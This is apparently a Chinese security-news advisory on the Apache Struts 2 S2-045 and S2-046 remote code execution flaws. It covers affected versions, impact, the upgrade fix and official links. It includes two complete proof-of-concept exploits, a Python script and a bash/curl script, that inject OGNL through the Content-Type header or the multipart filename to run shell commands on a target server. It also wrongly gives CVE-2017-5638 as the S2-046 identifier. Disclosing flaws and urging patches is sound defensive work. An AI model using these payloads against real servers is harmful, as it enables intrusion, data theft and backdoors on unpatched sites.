新闻快讯
< >

Apache Struts 2存在S2-046远程代码执行漏洞(含PoC)

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)-E安全

背景介绍

近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-045,S2-046),并定级为高危漏洞。S2-046(CNNVD编号:CNNVD-201703-152 ;CVE编号:CVE-2017-5638)漏洞的报告者来自三家:qualcomm(高通)、dbappsecurity(杭州安恒)、HPE(惠普企业)。

S2-046与S2-045漏洞属于同一类型,不同向量。如果在之前S2-045漏洞曝光后用户已经升级过官方补丁,这次就不受影响。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。(来源:百度百科)

漏洞概要

Apache Struts 2 2.3.32之前的2 2.3.x版本和2.5.10.1之前的2.5.x版本中的Jakarta Multipart解析器存在安全漏洞,该漏洞源于程序没有正确处理文件上传。攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程任意代码执行。

【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC)-E安全

漏洞的报告者来自三家:qualcomm(高通)、dbappsecurity(杭州安恒)、HPE(惠普企业)。

该漏洞危害程度极高,黑客可以利用该漏洞通过浏览器在远程服务器上执行任意系统命令,将会对受影响站点造成严重影响,引发数据泄露、网页篡改、植入后门、成为肉鸡等安全事件。由该应用较为广泛,且攻击利用代码已经公开,可能会导致互联网上大规模攻击的出现。

特别是政府、公安、交通、金融和运营商等尤其需要重视该漏洞,这些单位和机构需要非常重视信息安全保密工作,敏感信息的泄漏有可能对国家造成沉重的打击,甚至会违反相关的法律规定。在最近几年APT攻击横行的时期,骇客早也不再以挂黑页炫耀为目的,攻击者可能通过该漏洞作为突破口渗透进入其内部网络长期蛰伏,不断收集各种信息,直到收集到重要情报。请记住,在如今的互联网时代,只要是能换成钱的东西,骇客们都愿意尝试,其中更不乏诸多政治骇客(如国际黑客组织Anonymous)。

针对此次漏洞,安恒安全专家建议尽快更新Struts2版本或采用第三方防护措施如具备防护能力的WEB防火墙或云防护产品进行防范。


S2-045漏洞影响

攻击者可以通过构造HTTP请求头中的Content-Type值可能造成远程代码执行。

S2-045PoC

#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

相关阅读:

关于最新Struts2 S2-045漏洞修复措施的几点重要说明


S2-046漏洞影响

攻击者可以通过构造恶意的multipart chunk filename属性,即可造成远程代码执行

S2-046PoC

#!/bin/bash
 
url=$1
cmd=$2
shift
shift
 
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
 
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@


修复建议

漏洞披露后,在业界引起轩然大波,很多厂商都发布了紧急防护方案。安恒信息研究员深入分析发现很多第三方厂商所提供的过滤方案或临时加固版本并没有完全修复漏洞,攻击者仍可以利用该漏洞入侵受影响的站点。S2-046与S2-045漏洞属于同一类型,如果在之前S2-045漏洞曝光后用户已经升级过官方补丁,这次就不受影响。

1. 严格过滤 Content-Typefilename里的内容,严禁ognl表达式相关字段。

2. 如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐

官方升级地址:
https://dist.apache.org/repos/dist/release/struts/2.5.10.1/ 
https://dist.apache.org/repos/dist/release/struts/2.3.32/ 


官网公告

https://cwiki.apache.org/confluence/display/WW/S2-045

https://cwiki.apache.org/confluence/display/WW/S2-046


参考地址

http://struts.apache.org/docs/s2-045.html

http://struts.apache.org/docs/s2-046.html

https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723#

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02474